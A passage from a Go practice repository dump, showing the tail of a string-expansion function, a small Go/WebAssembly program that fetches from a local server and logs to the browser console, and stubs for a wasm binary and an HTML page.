14 | res := "" 15 | tempNumber := "" 16 | for _, v := range ins { 17 | c := string(v) 18 | if c >= "0" && c <= "9" { 19 | tempNumber += c 20 | continue 21 | } 22 | 23 | if c == "(" { 24 | repeatNumber, _ := strconv.Atoi(tempNumber) 25 | stack = append(stack, repeatNumber, len(res)) 26 | tempNumber = "" 27 | continue 28 | } 29 | 30 | if c == ")" { 31 | repeatNumber := stack[len(stack)-2] 32 | repeatStr := res[stack[len(stack)-1]:] 33 | stack = stack[:len(stack)-2] 34 | for i := 0; i < repeatNumber-1; i++ { 35 | res += repeatStr 36 | } 37 | continue 38 | } 39 | 40 | res += c 41 | 42 | } 43 | return res 44 | } 45 | -------------------------------------------------------------------------------- /wasm/go_js/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | //"time" 5 | "io/ioutil" 6 | "log" 7 | "net/http" 8 | "syscall/js" 9 | ) 10 | 11 | func main() { 12 | log.SetFlags(log.Lshortfile | log.LstdFlags) 13 | //defer func() {recover()}() 14 | resp, err := http.Get("http://127.0.0.1:8080") 15 | handleErr(err) 16 | d, err := ioutil.ReadAll(resp.Body) 17 | handleErr(err) 18 | jsLog(string(d)) 19 | jsLog("Hello world Go/wasm!") 20 | //js.Global().Get("document").Call("getElementById", "app").Set("innerText", time.Now().String()) 21 | } 22 | 23 | func handleErr(err error) { 24 | if err != nil { 25 | js.Global().Get("console").Call("log", err.Error()) 26 | panic(err) 27 | } 28 | } 29 | 30 | func jsLog(d string) { 31 | js.Global().Get("console").Call("log", string(d)) 32 | log.Println(d) 33 | } 34 | -------------------------------------------------------------------------------- /wasm/public/app.wasm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterq/practice-in-go/e910b6db88a8c7e7fb481d27de7168a7d824bc08/wasm/public/app.wasm -------------------------------------------------------------------------------- /wasm/public/wasm_exec.html: -------------------------------------------------------------------------------- 1 | 2 | 7 | 8 | 9 |
10 | 11 |